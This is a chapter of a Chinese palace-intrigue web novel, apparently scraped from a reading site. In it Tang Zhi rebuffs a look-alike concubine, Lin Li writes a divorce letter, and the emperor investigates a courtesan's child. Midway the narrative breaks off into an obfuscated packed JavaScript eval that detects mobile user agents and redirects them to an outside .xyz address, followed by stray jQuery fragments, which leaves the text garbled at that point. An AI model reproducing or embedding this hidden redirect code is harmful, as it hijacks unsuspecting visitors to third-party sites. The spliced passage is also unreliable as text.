66. 妾唤贞离

作品:《梨落折高栀

    唐栀自己回了府。不声不响的,没让任何人察觉他去了自己本不该去的地方。


    他也不知道自己在想什么,既没有勇气走上前去质问二人究竟在说些什么、为何会相聚于此处,也没有胆量将那圣上塞的小妾送走……既然如此,解释与狡辩又有何分别?


    以结果而论,自己就是背叛了林梨。而林梨私下去找白贯道之事,他已无心再想。


    他第一次觉得,自己竟然如此怯懦——


    自己不过是圣上身旁一枚趁手的棋子,棋子的命运,被捏握在棋手之中。任是如何挣-扎,也插翅难逃。


    阮贞离换上了常服,卸下了红妆,那眉眼去了修饰,浑然天成,愈发与林梨神似了。


    她一直等在唐府门口,怯怯地搓着手。一见唐栀回府,便小步跟在他身侧,像只跟在母鸡身后的鸡雏。


    唐栀不看她,直直往房里走。


    快走到唐栀林梨夫妻俩的院里时,阮贞离像是突然下定了什么决心,快步向前,挡到了唐栀身前,开口道:


    “夫君,妾身听闻家中一直未有子嗣……妾身,也想尽一份力!”


    唐栀冷眼看她,眼皮都不屑得抬起。他背在身后的手,指尖深深扣进掌心。


    这股寒意丝丝渗入阮贞离的骨髓中,她不死心地说道:“夫君,妾身知道你与林小姐伉俪情深,可唐家香火之事,你怎能不在意?夫君年上成名,自是不明白……”


    “别叫我夫君。”唐栀打断道。


    “那、那妾身叫老爷可好?”她将头低下,漏出白净的脖颈,“妾身初来乍到,若做得不当、说得不是,还望老爷指出……”


    这幅姿态,实在像极了他在圣上面前卑躬屈膝的模样。只不过,被景仰的上位者成了自己。


    他这才意识到,自己对阮贞离如此恶劣,无非是在向更弱小者撒气罢了。这阮贞离,其实同自己也没什么区别,无非是受人操纵,身不由己——


    唉,大不了和她说清楚,然后不理她就是了。


    “我不知道他们是怎么和你说的,但你不是我的妾室,也不必行那些虚礼……只当在这白吃白喝就成。”


    阮贞离将头低得更低了:“他们……啊,只是阿离想给夫君、啊,公子留下个子嗣罢了……公子生得好,还有才,此等血脉,应当后继有人才是……”


    “阿离”?


    他仔细端详了这女子一番。


    无论是身型、眉眼、脸型都与林梨极为相似。唯有那鼻翼与嘴巴不如林梨的精致。


    唐栀总算意识到,面前此人,并非单纯只是圣上送来的眼线。如此看来,她原是经过他们的精挑细选,想用以作林梨的“替身”的啊。


    哼,这点小把戏,早就过时了。


    宫里那些人真当我是话本里那些始乱终弃的状元小郎君啊?


    “你原名叫什么?”


    “奴家、啊,阿离原名就是贞离……”阮贞离诧异地抬头看了唐栀一眼,又急忙低下头,肉眼可见地慌张了起来。


    “你原名叫阮贞是吧?这离字跟在贞后边,实在突兀。谁给你起的名?”


    “……爹。”此问一出,像是戳到了她的痛楚,刚才还在叽叽喳喳,说些香火啊子嗣啊之类催生的车轱辘话的阮贞离终于闭上了嘴。


    唐栀轻叹了口气,绕过她,往院里走去。他摆摆手,招呼道:


    “你不用跟着我了,西边还有个侧院,就去那住着吧。我会命人去照顾你的三餐起居的。”


    阮贞离抬起头,不再夹着嗓子,而是小声谢道:


    “谢谢公子……”


    ……


    林梨回府了。一下马车,她便直奔书房。


    府里的下人们见状,都很是困惑,不由得又在院里交头接耳了起来。因为她去的书房,是唐璨的书房。


    唐璨正在烛下校对着文书。他这工作,看似简单,实际上不但干得杂,没个定式,还得天天加班。


    听门外有了动静,他大声喊道:


    “小东西,都说了我在忙,不准进来——”


    林梨轻轻推开了门:“是我。”


    “弟妹?”唐璨诧异地瞪大了眼睛。


    “叨扰了,想借你的书房写些东西。”


    “啊,当然可以。唐栀他到处找你呢……”


    林梨轻轻点了一下头:“嗯,我知道,等我写完,自然会去寻他的。”


    她的声音很轻,宛如微风吹过拂柳。


    唐璨让开了位置,她点头致谢,一挥袖子,从袖中掏出一张不易损坏的绢纸,拿起了唐璨搁在玉砚上的笔,专心写了起来。


    出于好奇,走到角落的唐璨偷瞄了两眼——


    书题上,赫然写着“和离书”三个大字。


    什么?!!?


    他吓得一哆嗦,怀里抱着的那几本书往身下滑了滑。恰巧他今日穿的是绸缎做的衣裳,光滑无比,挨着衣服的那本,就那么冷不丁地掉了下去——


    “啪”。


    “你看到了?”


    “啊呵呵,没有没有,只是手滑而已,弟妹不必挂怀……”


    “看到也无妨,你们迟早都会知道的。”她继续埋头,起草着这封和离书。头上那支梨花银簪,照常随着身体的起伏摇晃着。


    “啪”。


    又掉了本书。


    随着这本书落地,书房内的空气也凝固了起来。


    唐璨弯腰将书捡起,明明不想掺和此事,却还是忍不住低声问道:


    “唐栀他……做错了什么吗?是因为纳妾的事吗?这事也不是他能决定的……”


    林梨听了笔,抬起眼看他:“不是因为纳妾。此事复杂,一时半会,不好解释。”


    唐璨不好意思地挠挠脑袋:


    “虽说我与唐栀从小就不对付吧,但是他对你的好,府里每个人都看得见,你这样,无论处于何种原因,最后都会伤了他的心。我这个弟弟,自小就不服管教,从不追名逐利,什么都不在乎,只在乎……沈夫人和你。三年前,自从你离了学堂,他再也没老实上过一天课,就算被爹打到皮开肉绽,也硬是要逃课。我问他这是抽了什么风,他说他想研究一下怎么翻林府的墙……”


    “往事不必再提。这次,是我负了他。”说到最后半句时,林梨哽咽了,好在,并不明显。


    唐璨重重“啧”了一声,随即开始在书房内来回踱步:


    “那和离之后,你们林府的人住哪去?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462363|162091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “梨花阁的收益,够我们几个活下去了。那小院中可以改几个卧室,也顺带解决住所的问题。”她抬眼,见唐璨还是一副焦急的模样,“你想问的是,林珑去哪吧?”


    “我管她干嘛?她和我无亲无故的还烦人……”


    林梨浅笑一声:“她若是相中了哪家公子,成了婚,也许便去夫家住了。”


    唐璨挑了挑眉:“她?呵……反正和我没有关系……”


    ……


    半刻钟后,林梨搁了笔,再次道了谢,收好和离书,便径直往唐栀所在的院子走去。


    府里下人见到她,无一不是惶恐万分。


    负责打扫的小青低声说:“哎哟,夫人真是可怜呐,你看她的眼眶都哭红了。哪有纳妾不同当家主母商量的?”


    负责打水的小黄撇了撇嘴:“小姐岂是那种争风吃醋之人,依我看,她才不在乎。”


    负责剪枝的小红凑了过来:“怎么会不在乎呢?夫人明明很在乎公子啊,我有天看到她给公子绣香囊呢……”


    消息最灵通的小陈高声道:“你们是不知道,那妾室,长得与夫人有六分像呢!要是戴着面纱,我只怕分不出来!”


    其余几人纷纷捂住她的嘴:“嘘!小点声!”


    林梨默默听着这一切,她不由得对这长得像她的新人多生了几分好奇——


    这宫里的人,真是费了大心思啊。想要在偌大的大昌国土内找一个非亲非故却长得有六分相似的人谈何容易?更别提是在这么短的时间之内了。


    那么急切地想要把他牢牢拴在身边,看来,唐栀,还真是对他们很重要呢。


    *


    皇帝寝宫内。


    门窗紧闭,蜡烛摇曳,被从窗缝中偷偷溜进的风吹得斜向一边。圣上斜靠在床上,披散着头发,闭着眼睛,面色苍白,唯有嘴唇煞红,在烛光的照耀下,显得格外诡异,活像只东瀛来的瓷娃娃。


    “陛下,查出来了。当年,那人还当真是有一位外妇。”福公公报告道。


    “哦?很好,给朕仔仔细细地说来。”


    “据属下打听,那外妇,出自桃红楼。那人像是提前知晓了自己的命运一般,早就命人安排她南下。之后,呃……”


    “之后什么?怎么不说了?”


    “之后那人安排的护卫一一离去,而那女子迫于生计,只好进了江南最大的青-楼——不出一年,就死了。”


    圣上饶有兴趣地挑了挑眉:“怎么死的?”


    “据说,是难产而死。”


    “可留有子嗣?”


    “正是陛下心中猜测之人。只是,老奴不太确定是否为那人的孩子……毕竟,唉……”福公公摇了摇头。


    圣上的嘴角高高扬起:“亲不亲生,没那么重要——只要他是那人所爱之人所生,就足够了。”


    福公公伏跪于地,重重叩首,用尖细的嗓音回道:“陛下英明。”


    虽未及盛夏,宫里尚存几分阴凉,可他的脊背已然被汗水浸-透,里衣紧贴在身上。


    “起来吧,今天就先到这了。”


    “奴才遵命。”


    福公公颤巍巍起身时,青砖地上赫然留下几道湿-漉-漉的手印。